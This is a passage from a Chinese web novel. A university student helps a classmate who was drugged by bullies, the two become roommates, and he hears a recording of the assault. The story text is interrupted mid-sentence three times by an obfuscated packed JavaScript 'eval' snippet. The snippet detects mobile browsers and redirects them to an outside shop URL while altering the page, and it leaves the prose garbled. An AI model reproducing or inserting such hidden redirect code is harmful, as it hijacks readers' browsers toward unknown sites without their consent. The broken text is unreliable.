又看见男生长裤脏了,想起男生身上应该还有擦伤,便弯腰捏住他的裤脚两端。 男生没什么反应。 池佑顺畅一口气卷到膝盖处,一块不大不小的地方破了皮,一圈都红彤彤。 他拿过旁边的酒精消毒,棉签刚放上去,怀里的身子很明显抖了一下,但很快也就不怎么动弹了,他又贴上敷料,接着是手肘,速战速决很快就处理好了两条腿上的伤。 池佑直起身,过了一会儿,后腰上的手劲儿居然慢慢小了,埋着的脸也一寸一寸往下掉。 池佑感觉一阵痒意,忙伸手托住他下巴,往上挪了挪,鼻尖放到大概胃的位置。 免得待会儿校医回来,又要用那种奇怪的眼神看着他们了。 又过了一会儿,环住他的手彻底卸了力,软软垂落在床上,头也完全是靠池佑的手才没一垂到底,只是额头还有点固执地顶着他。 池佑托着那人脸蛋,缓而慢地拉开两人的距离,扶着往枕头上放。 没想到放好手刚一离开,那人两眼微微一睁,虚弱无力地搭住他还没离远的手,可怜兮兮望着他。 “热……我,我好难受……” 男生上衣领口很宽,布料又软,刚刚磨磨蹭蹭就溜下去一半。 香肩半露,好像不太雅观。 池佑看着,神情一顿,想起校医的嘱咐。 他捏着对方的腕骨,将手放回床上,扯过旁边被子,缓慢又坚定地将人裹成一团粽子,语气认真:“错觉而已,最近天气转凉,小心点,别冻着了。” “……” 最后,病床上的人只露着张红扑扑小脸,眼睫忽闪忽闪,瞧着他。 估摸是被子裹上,太过暖和,瞧着瞧着,还是没撑住,眼皮慢慢合上,头一歪终于栽倒在枕头上。 池佑将蚕蛹似的被团小心放平了,然后带上自己的药走出去。 出去时路过就诊室,校医正好刚给后面来的那个同学包扎好伤腿,看见了他,就问:“那个小同学怎么样了?” 池佑停下脚步道:“睡着了。” 校医便走到他身边,像是把他当作男生的谁了一样,叮嘱了不少注意事项。 说男生应该用不了多久就会醒,为了防止意外,这情况最好有人陪着回寝,所以让他早点回来,医务室下午五点半下班。 池佑看了眼时间,现在已经四点了,他衣服还没拿回来,澡还没洗,饭还没吃。 “其实,”他顿了一下,“我不认识他,只是路过遇到而已,有没有什么办法联系他的朋友或者室友?” 校医看着他,眼神有些惊奇。 “真的。”他强调了一句。 “行吧,也没事,我查阅一下系统,晚些时候联系他室友。”校医如是说。 池佑道了句好便离开了。 等出了医务室,他才想起看手机。 有不少人给他发来了消息,有加的几个打球的当时都看见他脸上的伤,所以问他没事吧。 他回没什么事。 丁浩告诉他,那几个人根本爬都爬不起来,跑不掉,因为不知道具体情况,他先通知了导员,学校应该会处理这件事。 池佑微微皱眉,没说什么,道了谢。 韩城宇问他到寝室了没,打不打游戏。 他看了眼,玩的有几款居然是他上辈子也很爱玩的,于是回韩城宇,打,晚点来。 然后先回更衣室把衣服都拿上,又去食堂买了饭,然后回到寝室。 “靠!唐明煦你袜子扔我篓里了!” 这是池佑进门听见的第一句。 一个脸圆鼻尖的男生正站在阳台抱着篓子,朝里喊。 另一个戴眼镜比较斯文的男生坐在位子上,戴着耳机没鸟他,正跟人视频通话,对着屏幕那边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297385|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女生,语气甜蜜。 “妍妍我们寝是很吵吵的。” 池佑深一脚浅一脚穿过乱糟糟的过道,走到最里面,在唯一那张空床空桌对面,一张比较干净空荡的桌上搁下自己的饭盒。 米家宝本想再喷这成天妍妍妍妍的人几句,忽然瞥见走近的人,衣篓子掉到地上,惊得一下张大了嘴。 “帅哥你谁?”他直直瞪着人,又看见餐盒,“欸你来是找他啊,这人好几天没回来了。” “嗯,现在回来了。” 池佑在椅子上坐下。 “啊?”米家宝有点呆,“你,你是……” “理了个发。”池佑心想真有这么夸张吗,感觉一路而来每个人都很惊讶。 米家宝喃喃:“天哪什么理发店,拜托推我。” 池佑笑了笑。 那边唐明煦煲完电话粥,转来一看默了半晌,立刻也问理发店在哪。 两人还关心了一下他脸上的伤,然后就袜子问题在阳台上扯来扯去。 他从丁浩那里提前了解过他的另外两个室友,两人是高中同学,所以比较熟。 池佑不甚在意,他收拾衣物去浴室洗澡,出来吃饭,那边吵得差不多了。 恰好米家宝桌上手机响了,他进来拿出去接了个电话。 回来后问他们:“刚有老师联系我说有个同学跟前室友有纠纷想换寝室,全系就剩下几间有空位,前面几间的人都拒绝了,问我们同不同意。” 唐明煦好奇:“我们也拒绝了会怎样?” 米家宝道:“估计那同学就换不了了吧,反正我都行。” 唐明煦说:“我也没关系。” 两人目光一齐看向池佑,毕竟新来的人肯定是要睡在他对面的。 池佑其实无所谓,不过他想了想,先问了句:“新来的什么专业?” 米家宝道:“好像是设计的吧?那老师就提了一嘴,我也没仔细听。” 池佑挑挑眉:“设计的挺好,正好我有个人要找,还能问问他。” 米家宝给老师回完消息,高兴地叫了一声,“耶太好了!我们寝终于不会三缺一了,改天下馆子搓麻将去。” “切就你那水平高兴什么?”唐明煦瞧着也挺兴奋,但还是要嘘他一声。 米家宝立刻发挥寝室长的权威,踢一脚唐明煦堆放在过道的箱子。 “赶紧把你这些破铜烂铁收了,新室友万一今天就来,给人印象多不好。” 唐明煦边收边怼,“催什么催,人不是都还没影儿吗?” “说的也是,不知道他什么时候来。” 不过今天,唐明煦约了跟女朋友去外面吃晚饭,米家宝有朋友生日要一起去嗨,两人相继出门。 寝室就剩下池佑。 池佑刚想戴上耳机,无意间看了眼时间,五点半。 握着鼠标的手莫名犹疑了一下。 但想着那家伙估计已经被室友带回去了,池佑就没什么负罪感了,点开聊天框准备喊韩城宇打游戏。 好久没打,不知道手生了没。 手边的手机忽然开始震动。 他拿起一看,陌生电话,手指顿了顿,还是按了接听,开了免提,里面传出的声音居然有点熟悉。 “喂,这里是校医务室,请问是东6-301的同学吗?” “……嗯,怎么了?” “诶这声音,”那头的人嘀咕了一句什么,然后又客气道,“你们室友吃错了东西,现在不太方便单独回去,有空来接一下吗?” “……” 池佑瞬间想起某道身影。 居然有这么巧? 5. 主角 他赶到的时候,校医务室的大灯已经关了,走廊光线昏暗,只有就诊室的门留了一条缝,透着亮光。 池佑推开门,外面没人,很安静。 他走进去拉开帘子,一眼便望见床上的白色大鼓包。 刚刚还在动,大约是察觉帘子滚轮的声音,立刻就一动不动了。 池佑出声问:“你好点了没?闷在被子里做什么?” 过了一会儿,大鼓包拱拱拱,从床尾这头破开一个口子,一张小脸露出来,红扑扑的。 眼眸轻盈地飞他一眼,睫毛一闪,视线就飘落地上。 他盯着那里,许是太久没说话,一开口声音有点涩也有点哑。 “是你,咳,你怎么回来了?” 说话还算流畅,眼神也挺清澈,看样子似乎是清醒了。 池佑判断完放下心:“当然是来接你。” 他边往里走,边将兜里的手抽出来,手背在人额头贴了一下。 “你脸怎么这么红?温度好像也有点高,发烧了?” 那人被他碰一激灵,不像迷糊时主动,只是往回缩了缩,声音低低的。 “没有,嗯……刚刚闷的吧。” “没事就好,”池佑放下手,“走吗,回寝?” 男生坐起来,被子还裹在身上,“我还没有寝室……过一会儿大概自己就能走了,你、你回去吧……” 池佑挑一下眉,道:“寝室嘛,现在有了。” “什么?” “前不久有个老师来的电话,你被分配到我们寝了。” 这个消息也不知道是怎么了,男生听完愣住了,眼尾处原本狭长上扬的括弧,一下睁得圆溜。 他像是很惊讶地喃喃了一句,“居然能换成功……” 池佑不知道他为什么要用“居然”这个词,等他看起来差不多消化完,又问了一遍:“那你现在跟我走吗?” 这时外面传来脚步声,“同学,你怎么样了?” 校医边问边擦着手上的水进来,看见池佑后,在帘子处站住了,神情有些意外。 “我就说刚刚电话里那声有点耳熟,不是说你俩不认识吗,一个寝的怎么不认识?” 在老师的眼神越发狐疑前,池佑只好又解释了一遍。 校医道:“居然这么巧,那他就交给你了,路上看着点,我刚又让他吃了点药,现在药效还没消化完全,对别人来说还是危险的。” 对别人危险? 他么? 池佑低头看去,床上的人恰好还望着他。 二人目光交汇一瞬,男生立刻就错开了,头低下去,像是在对床面壁。 胆子小小,脾气老老。 这能有什么威胁。 见校医招呼他,池佑便跟着走到外间,接过递来的一些药品,然后又听了一遍注意事项。 过了一会儿,男生收拾好自己从里面出来,单肩背着包,有些拘谨地看他一眼。 这会儿倒是不像刚才了。 校医最后道:“行了你们走吧,待会儿打扫阿姨就要来锁门了。” 夜风凉爽,两人一前一后走在回寝的路上,默默无言,氛围有些微妙的尴尬。 走上桥面时,池佑正想着要不要找点什么话题随便聊聊天,男生先开口了:“今天谢谢你,改天……改天我请你吃饭。” 对方没有看他,只是偏头瞧着湖面。 池佑耸肩:“不用谢,也没什么,我就是正巧经过那里,顺手的事。” “……那间器材室废弃了很久,”男生语速慢慢,“而且还挺偏僻的,你能经过那里……好巧啊。” “刚来学校还不太熟悉路,不小心就走到那了,”池佑说完还问他,“不过你为什么会在那?” “我?”身边的人抿了抿唇,低声嘟囔了句什么“我躲不开……” 池佑没听太清,“什么?” “……就是不小心吧。”他看过来,然后换了话题,“你是什么专业?” “金融。”这倒是提醒了池佑,“对了你是设计系的吧?” 对方抬起眼:“嗯,怎么了?” 池佑问道:“那你认不认识一个叫温奈的同学?” 这话一出,男生神情一凛。 不知是不是错觉,池佑觉得他好像又变成先前那样警惕,不答反问:“我……他怎么了,你找他干什么?” 池佑实诚回道:“没干什么,就是听说过他,想认识认识。” 闻言,男生神色明显紧绷起来,似乎有点紧张。 他舔了舔干涩的唇,开口道:“你听说过他什么?我跟你说,不信谣不传谣……” “什么谣,”池佑疑惑了,“我就听说他对人很热情很友善还有可爱,很多人都喜欢他,所以我也想认识。” “什么?你在说反话?” 池佑愣了下:“绝对没有。” 男生看着他,一时间神情似乎有些复杂。 他揪着自己的书包肩带,慢吞吞道:“那你是不是被骗了,没人这样说过他,或者告诉你的那人说的是反话,但你、你比较单纯,可能没听出来。” “不可能。”池佑斩钉截铁地否了。 是不是反话,他还是很相信自己能分辨出来的。 “告诉我的那人瞧着安静内敛,老实本分的,不像会骗人的样子,也没必要骗我。” 男生沉默了。 池佑觉出端倪:“怎么了,难道你很讨厌他?” 男生摇了摇头,“没有,我……” 声音顿住了,然后水色的眼眸一转,目光轻轻落在池佑面上。 大约是发现他真的没在开玩笑后,终于有些别扭又有些不好意思般,松开了抿紧的唇。 声音低低的:“我就是温奈。” 池佑又是一愣,转头看向他,然后慢慢睁大了眼睛。 那人此时收着下巴,长睫却向上翘着,底下眸光流转,目光在他脸上扫过,似乎正细细观察他的反应。 看着那双眸子,池佑恍然,怪不得当时就觉得有点熟悉。 惊讶的情绪其实只在那一瞬,他很快就接受了。 但对方好似已经敏锐捕捉到他那丝不可思议,也将他迅速掩饰好的反应都看在眼里,缓缓地,抿起了唇。 那攥着背包肩带的指节便有些泛白。 但面上还是浅笑了一下:“很失望吧。” 池佑抬头:“嗯?” 温奈却是垂眼自顾自说:“听到是我这么惊讶,果然不相信吧,毕竟我确实和你听到的一点都不一样……” 池佑有点不知道怎么说:“我只是没想到……” “没想到我这么无聊,还是没想到我这么没用,一点都没有你说的那些品质……” 温奈眼睫低垂,没等对方回话就转过头,像是不想再看见他的反应了。 “也对,我早该知道的……果然,都是一样的……” 他声音转轻,好像是在说给自己听。 但他不知又是想到什么,沉默了会儿,脚步还是顿住。 然后吸了下鼻子,回过头看他:“那就这样吧,我今天这么丢人,估计你也不想认识我了,算了随便,我一点也不难过……” 池佑其实有点懵,语速得快点才插上话:“我不是那个意思,我惊讶的是因为没想到能这么快碰见你。” “我都习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297386|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯了……嗯?” 对方忽然顿住伤心,似乎以为自己听错了,抬起头,飞速将他一瞅,“你刚说什么?” 池佑抓着机会挑重点说:“我没觉得那人骗我。” 温奈脚步慢下来,看着他道:“那,那什么意思?” 其实在知道是这个人后,池佑心里反倒轻松很多,他看向对方。 这段路路灯实在不多。 昏暗的光线下,白皙的脸后边是波光粼粼的湖面,眸子敛在睫羽下,像盛了满月夜的湖色。 他们刚刚走过枫树底下,池佑上前取下不知何时落到对方肩上的叶,不注意,被风衔过,落至湖面,荡开层层水漾。 温奈视线便顺着他的手,又跟着那片叶,远了。 池佑看着他,颇为从容道:“意思就是,我想和你做朋友。” 温奈回过神。 “朋,朋友?”这下轮到他愣住了。 池佑轻快地“嗯哼”了一声。 温奈有些缓慢地眨了下眼睛,能在这个世界里如此纯粹说出这两个字的人…… 蛮罕见的。 这让他越发好奇这人究竟是谁了。 “那你叫什么?” 池佑浅笑一下:“我姓池名佑。池水的池,保佑的佑。” 但等他说完,对方却没再说话。 抬眼,面前的人依然是盯着自己,只是微微蹙着眉。 神情似乎跟刚才不一样了,此刻眸色沉沉望着他。 半晌,温奈才开口:“你是池佑?” 池佑道:“嗯,怎么了?” 但他没回怎么了,只是慢慢地又重复了一遍:“……池水的池,保佑的佑?” “对……”池佑有些奇怪,“你认识我?” 对方只是又陷入沉默。 在池佑忍不住要打破这越发诡异的氛围前,眼前的人忽地勾出一抹轻笑,回答了他。 “没有,我们原先不认识,不过——” 他看过来,眸色好似更沉了些,笑意愈深:“这么说来,我们现在算是……朋友?” 那张干净的脸颊浮出两点浅浅的小酒窝。 池佑看着,虽然总感觉哪里不对劲,但说不出来。 只能先点点头,然后犹豫半天道:“你刚怎么了,是不是老师给的药没效了,身体难受?” “怎么,”温奈目光很轻在他脸上一转,“你很想我药效过了?” “怎么会,”池佑皱眉,“只是大马路上,你要是又出现像医务室里那样的症状,很危险。” 温奈眨了下眼:“你还怕我把你怎么样?” 池佑闻言一愣,差点笑了:“什么啊我怕什么,当然是怕你有危险。” 面前的人又是一默:“你,怕我有危险?” “对啊,”池佑道,“不过也别担心,我肯定尽量看着你,不会让你扑别人身上去。” 温奈忽然又不说话了,只是定定地看着他。 就好像他脸上有什么东西很是吸引那双眸子似的。 池佑下意识摸了摸脸。 似是瞧见他的动作,对面狭圆眸子的眼尾上扬,说话却是轻悠悠的。 “这样啊,这么说,你真是个好人呢。” 不然呢。 确保脸上没东西后,池佑放下手道:“我们赶紧回去吧,晚上外面风还是有点凉。” “那走吧。” 面前的人弯了弯唇,小酒窝就又出现了。 池佑挪开眼神,先往前走了。 温奈落下半步,跟在人身后,指腹在肩带条的角上慢慢地磨,轻念了一声:“好人……” 他垂下眼,很轻很轻地笑了。 6. 录音 温奈晚来学校几天,寄存在快递站的行李不多,池佑帮忙,很快就搬完了。 回到寝室后,他便拿了一套睡衣去洗澡了,隐约好像还哼着小调,看上去精神恢复得不错。 浴室很快就传来哗哗流水声。 周围静下来,池佑回想了一下今天的遭遇。 发现那姑娘说的都一点没错。 虽然可不可爱的,池佑看不太出来,也不太会分辨。 他思来想去,还是觉得这样好端端一个人最后跟人渣们同归于尽实在有些可惜。 不过既然来都来了,他这么个热血男大,当然是跟主角一个阵营的,自然也就有必要适当帮助一下男主。 他正这么想着,忽然察觉从阳台上灌进一阵冷风。 便起身去把阳台门关上,刚拉好窗帘,身后咚一声,有什么东西倒地。 转头看去,才发现是温奈书桌上的书包。 好像见他一直背着这个书包,在器材室的时候被乱扔在一旁,现在应该脏兮兮的,不过因为是黑色的,也看不太出来。 池佑走过去,捡书包时才看到桌脚旁边还有个东西,似乎是从书包里掉出来的。 于是一并捡起来,那东西躺在掌心像个扁平的银匣,哑光金属壳,似乎是个录音器。 他没有要窥伺别人的欲望,只是看了两眼,便同书包一起放回温奈桌上了。 只是不知道磕碰到哪里,池佑坐回去的时候,小银盒忽然自动发出声音。 一开始是一段电流的滋滋声,池佑皱起眉叹了口气,又站起来准备去关了。 但是随后传来的一句人声,让他站定不动了,伸出去的手也开始变得犹疑。 “温奈是不是站不起来了?瞧你现在的没劲儿样,待会儿会不会叫都叫不出来?哈哈哈哈……” 传出的笑声阴阳怪气,还有些尖锐,好像无数细小密密麻麻的眼睛,阴暗的感觉从带着讽意的话里穿透而来。 录音里似乎还有另一个人轻微的呼吸声,池佑正试图分辨的时候,那人开口了,第一个音含糊不清,但剩下的话还算清晰。 “……你,你给我吃了什么?” 池佑愣怔,是温奈。 他随即反应过来,这应该是他俩相遇前发生的事。 “吃的什么?这药可是西洋的好货,吃进去吸收得快事后还查都查不出来……放心,这玩意儿还能麻痹痛感,一般人还买不到,给你用还不得谢谢我……怎么样,现在是不是已经有感觉了?” 温奈声音听上去好像呼吸有些困难,“嗬嗬”几声后才能又说出一句话,“你,你怎么会有……这种药?” “我当然弄不到了,但从弄点这些对于薛哥来说不是轻而易举?” 温奈声音勉强还能保持冷静:“你知不知道这是走私……坐实了是要坐牢的。” 可惜对面好像是个法盲。 “那又如何。”不仅毫不畏惧,还甚是不屑,“证据都被你喝到肚子里了,你拿什么告我啊?而且……当初你那事传得沸沸扬扬,你的话谁会信?还是说你还想靠这张脸……” “姜、姜文,”温奈打断了他,听上去快要虚脱,“这里,这里是学校……” “那怎么了就算你再优秀能怎样,你家已经就这样了,我们可有人罩着,你呢,有吗?” 温奈没有再说话,只有越来越急促的呼吸声。 “这么快就说不出话了?也别怪我,其实如果不是你那么倔,非要跟薛哥对着干,老实点乖乖搬回来别再提什么换寝的事,他或许还能手下留情。这回你就当长个记性,等他下个月从国外回来了,你好好道个歉也许这事就这么过去了。” 安静的寝室里只有录音器里那人嚣张至极的声音。 站在寝室中央的人刚才还松弛的肩膀线条,此刻慢慢平直起来。 听着那时发生的事,垂在裤缝边的食指在摩挲着裤子的面料,一下又一下,缓慢而用力。 动作越来越快,越来越重,听到那句还要让温奈去道歉的话,终于整只手蜷成拳,突起的骨节绷得很紧。 表情有点难看。 录音器里静了一息。 不过出乎意料地,里头那道熟悉的声音忽然笑了一声:“哦这样啊。” 紧接着那个叫“姜文”的人猛地大叫,随即发出一阵撕心裂肺的咳嗽。 并且这声音很快就小下去了,似乎正在远离录音设备。 但还有一道近在咫尺的声音有些喘,却很清晰,半点也不含糊,似乎是跑远了点才喊的话,听着很是幸灾乐祸。 “你这白痴没想到吧,我压根就没吞那药。不过呢我也弄了个国产好货给你尝尝,过期三天的正宗辣椒粉儿!怎么样,够不够辣够不够刺激?” 话语里尽是掩不住的极度兴奋,几乎都能窥见少年跑动时的眉飞色舞,洋洋得意。 池佑听到这话,垂在身侧用力到有些发麻的拳头忽然一松。 但很快他就想到,为什么还是在器材室里见到了温奈。 少年还在得意:“等着吧,我迟早会送你们这些神经病法盲都进去,一辈子也别想出——啊!” 果不其然,还没两句话就出现了意外,一阵杂乱的噪音,夹杂着窸窸窣窣声,像是衣服在地上摩擦。 他不小心摔倒了,摔得很疼,没能一下爬起来。 接着很快就被身后的人骂着脏话追上了。 “草敢暗算我……这剩下的药可不一定能让你捱过那段时间……不过都是你自找的。” “怎么唔……放,放开我!我不要……” 这最后一句话后,录音器彻底没了音,整个寝室空空荡荡,也陷入安静。 只剩下浴室里不断的水流声。 池佑还站在原来的位置,好像周遭的时间也跟着录音器里的声音停了那般一块静止了。 他垂着眼,不知道在想什么。 过了一会儿,浴室哗哗声中间或夹杂着跟录音器里如出一辙的声音。 隐隐约约,一开始哼着调,后面慢慢有了音,曲调很简单,也很轻盈,大抵此刻的心情不错。 听着听着,虽然没那么曼妙,但池佑的心绪也多少轻了些。 一直到浴室的水声停了,他才将录音器放回原位,慢慢踱回自己的位置上。 直到那边门滑开了,他下意识视线转过去。 人穿着短袖短裤睡衣出来,头发还湿漉漉滴着水,润湿了领口的布料,拖鞋在地上踩出好几个水印子,哒哒朝这边走来。 池佑看了看,问了一句:“洗完了?” “嗯不过还有衣服在里面,我放下这些就去拿出来。” “没事,我不急着用。”池佑想了想,先随便找了个话题,“你刚刚在唱什么?” “最近的流行曲,”温奈把东西放下,抬头问他,“我唱得好不好听?” 他眼睛亮亮的,一眨一眨还有点狡黠。 池佑闻言便十分给面地在回忆里品了一下,然后诚恳道:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297387|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是画画吧。” “……” 温奈不眨眼了,干瞪了他一会儿后,转开了脸。 池佑就只能看到背影了,水珠沿着发梢落得更快了,薄薄睡衣下蝴蝶骨稍有些明显地突出着。 他又问:“怎么不擦干头发?” 温奈拉开衣柜,挑了条淡黄色干发巾出来,扬了扬,“忘带进去啦。” 池佑顿了一会儿,犹豫着还是问了一句:“你腿上的伤……还好吧?” “嗯?”温奈停了动作,看过来,“还好,不是很疼。” 录音里听上去不是这么回事。 池佑看着他道:“你洗了澡,记得再上一遍药。” 温奈看了他一会儿,眼眸弯了弯,发梢还滴着水珠。 “嗯,你脸上的伤也记得涂。” 池佑本来想说什么,但是又怕对方觉得自己太过冒昧。 温奈倒是见他没话了,转过身去吹头发。 现在他们好像也没那么熟。 算了,以后总有机会。 他转回来戴上耳机,想着靠游戏疏解一下情绪。 时隔快三小时终于给韩城宇发了条消息。 池佑:「上号。」 韩城宇秒回:「我靠,哥你再不回我我差点要下楼找你了」 池佑:「你也住东6?」 韩城宇:「对啊,外语设计还有一半金融都住这栋楼,哥你居然不记得我寝室太不是兄弟了」 池佑:「刚刚突然忘了,现在想起来了」 韩城宇:「哥果然还是爱我的,快来快来,我等的花都快谢了」 池佑切换游戏界面,挑了个人物皮肤,顺便把自己麦关了。 在他后面,温奈很快就吹干了头发,给自己涂了药,开始写日记,这是他保持了很久的习惯,每天都不落下。 在那小本本上,还有他为了防止自己忘了,从头到尾大致记述了一遍的那场梦。 不过今天开始便多出了一个人名。 他吭哧吭哧写完后,又看了一遍,然后将那个名字圈起来,在旁边画了一颗惟妙惟肖的小柚子。 颇为得意地欣赏了一会儿自己的小画,他合上本子后,偷偷转头发现那人还在激烈地游戏中。 他蹙了下眉,嘀嘀咕咕:“有这么好玩么。” 虽然不解,但今天大起大落,经历太多,温奈还是有些累了,准备早点上床休息。 不过,等爬上梯子,他才想起自己被子都还在路上,现在等着他的就是张空床板。 望着空空如也的床铺,他思考了足足几十秒,视线慢慢转向唯一的室友。 池佑正紧盯令人眼花缭乱的屏幕,用手柄操纵小人在不断翻转的3D场景中来回跳跃。 但马上要通关时,他旁边的那个小人又死了。 池佑一下捏紧手柄,险些要开麦。 盯着瞬间弹出的巨大的“Loser”字样,他点开跟韩城宇的聊天框。 池佑:「你刚说你在哪个寝?」 韩城宇:「哥,哥我求你了,再信我一次最后一次!」 韩城宇:「这回我绝对绝对不走那条路了」 这人上一把也这么说,可区别就是挑了另一条死路。 今天不适宜打游戏。 池佑眉间凝着郁气,取下耳机,刚跟人说完先不打了,袖子忽被人拉了一下。 后边响起的声音轻轻又软软。 “池佑,要不要我帮你上药?” 7. 旧了 池佑循声朝人投去视线。 对方望着他,眸光盈盈,笑容明艳。 他心情略微平和了些,摸了摸自己眉峰处的一点伤,道:“我好像不是很严重,就不用上药了吧。” 没想到原本灿烂盛着的小花一下凋零了些。 只是还瞅着他,语气有些执着:“脸这么重要的地方,最该好好保护了。” 池佑其实不太在意。 但他对上面前的人眼神时,想起回来路上温奈说过的伤心话。 「没想到我这么没用」 就顿了一下,改了主意:“说得有道理,那拜托你了,谢了。” 温奈脸上立刻多云转晴。 他去把椅子搬了来,取了根碘伏棉签,掰了掰尾端,深棕色的液体流向头部,棉花瞬间被浸湿,传出淡淡的刺激性气味。 他捏着签子末端,抬起手。 “你头低一点。” 池佑低下头,碘液沾上了皮肤,在缓慢扩散,像有一道细小的电流席卷全身。 一片安静中,他视线自然而然地落在前方。 脖颈和脸没有肤差,只是皮肤更薄了些,隐隐能瞧见底下细细的、青色的血管。 他正漫无目的地浏览,忽然间瞧见侧边似乎有一颗红痣。 那是一颗生得极小,针尖似的痣,只有这个距离能看到,偏偏又红,红得鲜润,像一滴凝在雪地上的血珠。 随着吞咽的节律,轻轻地动着,一会儿滑上来,一会儿又隐下去,极不安分。 松弛的状态下,温奈的领口松松垮垮地挂着,露出一点锁骨的弧度,布料随着呼吸轻轻起伏,软塌塌地贴在身上。 穿的还是夏款的棉质睡衣,应当洗过挺多次,浅杏色褪成近乎月白,隐约能看见边缘起了点细小的毛球。 他看了一会儿,出声提醒:“你这里有点起球了。” 温奈刚涂好碘液,闻言低头看了看他指的地方,似乎有点难为情地拉了拉,把被指出来的地方折到下面去。 “穿久了都会这样,但我常洗,很干净的。” 池佑没觉得不干净。 他只是有点疑惑:“旧了为什么不换?” 对方抿了会儿唇,垂下眼:“旧了就要换么,可我……喜欢了它很久,穿着也很舒服。” 恋旧么。 “舒服这倒是,看上去就很服帖。” 池佑说完,便没有再说什么了。 消毒消完,该涂药膏了。 但温奈迟迟未动,安静地瞧着他的神情,过了一会儿声音很轻:“你……你要摸摸么?” 池佑同样抬眼:“摸什么?” “睡衣。” 温奈见他望来,便错开了眼神,没有和他对视了,只是低低道:“你说看着舒服,是想摸么?” 池佑思考了一下。 他好像确实没有摸过起球的衣服,看温奈不舍得换的样子,难道真会比新的更舒服? 他有些好奇。 但又想到,睡衣,这似乎比较私密。 他确认了一下:“可以摸吗?” 温奈头似乎更偏过去了些,额前那缕碎发垂落,遮住了大半的神情。 大概余光里都看不到池佑了。 他什么也没说,只是低低“嗯”了一声。 池佑抬起手,几乎是同时,他察觉到对方的身体似乎紧绷起来,膝上的手也蜷起来了。 看人这么紧张,池佑还是没有去摸衣角边缘,只是碰了碰他的袖口。 然后放下手,评价道:“这牌子质量不错。” 过了一会儿。 “……好,好了?” 温奈睫轻轻扇动,脸转回来,撩起眼皮看向他。 “嗯,我下次也要试试穿久点,看看会不会更舒适。”池佑其实还挺意外,他一直以为睡衣这类贴身的,最多一个月。 没想到他说完后,温奈却没有接腔,只是细细把他瞧了好几遍。 然后慢慢焕发起来,他有些骄傲似的:“但不是所有的睡衣都能像我这件一样,能跟人磨合得这么好,我当初穿服它可废了好些时间和力气。” 池佑神色惊奇了些:“这样,原来这还是门学问。” 温奈闻言笑起来:“是呀,你向我讨教讨教,我就告诉你。” 一想到他们两个大学生将要开始探讨如何驯服一条睡衣,池佑实在忍不住笑了。 他道:“小温老师,之后再教吧,我脸上碘伏都要干了。” “啊都聊忘了,我现在就给你上药。” 温奈丢掉被碘伏沾湿了的棉花签,想再拿一根新的,却发现刚刚那根是最后一根了。 他试图翻找其它工具。 “让我找找还能用什么帮你涂。” 池佑觉得都大差不差:“纸巾吧。” 反正随便涂点就好了。 温奈想一想道:“纸巾太脏了,不然用我的手算了。” 池佑闻言,看了眼他放在腿上的手。 温奈揉搓了一下自己的食指,然后伸来给他瞧,“我刚洗过完澡,只握过笔,你看,是不是比纸巾干净。” 池佑又看不到细菌,他只看到白嫩一条棉花签子似的手指。 对他来说都差不多。 “就用手吧。” 半透明的药膏带着清凉苦味,温奈挤一点在指腹上,一眼看去,有些无法分辨上下哪处更温润。 “嗯……不过我好像还是第一次帮别人上药,要是涂得不太好能别怪我么……” 男生声音细细绵绵,跟他的指头一样。 再坏也实在很难让人怪罪吧。 池佑道:“我没这么小气。” 插曲过后,温奈要开始涂药了,池佑就有些没事可干。 面前的人比刚刚偏了点头,光线斜斜地照过来,一低头,就能捕捉到那红红一小点竟像要化了,分外神奇。 他集中了些注意力,仔细地看它要藏到哪去。 但不知道是不是太安静的缘故,温奈好像有一点儿紧张,面前的手有一点抖。 指尖落下来时,比起药物滋润,他先感受到寒凉。 池佑皱了下眉:“你手怎么这么凉。” “……抱、抱歉,是不是冰到你了。” 温奈以为他不舒服了,立刻道了歉,缩回手,不知道还要不要继续。 池佑抬眼就对上那双眸子,莹莹又润润,透着一股子伶仃的无辜。 湿润温和的药膏现在好像才浸入皮肤。 池佑也就没有觉得那么冰了。 他道:“没事,继续。” 温奈手就再动起来,不过更注意了些,但莫名咽口水的频率也稍稍加快了。 红痣就跟着轻微晃动,池佑眉宇间掠过若有似无的温热呼吸,一点一点吹皱了他的眉峰。 他刚想开口,却先听到一声嘀咕。 “你眉毛不要乱动,我差点涂歪了。” “哦我不动了。” 池佑移开目光,但也没什么好去处。 视线落在两人交错的腿上,自己坐姿有些随意,前倾时手肘自然而然撑着腿,中间是温奈并着的大腿,谁也没挨着谁。 他的视线就穿过缝隙,开始盯着地板瓷砖,长方形,奶白色。 思维正发散间,对面的大腿一动,膝盖轻轻碰到了他,面前响起声音:“涂好了,怎么样,不疼吧。” “不疼。” 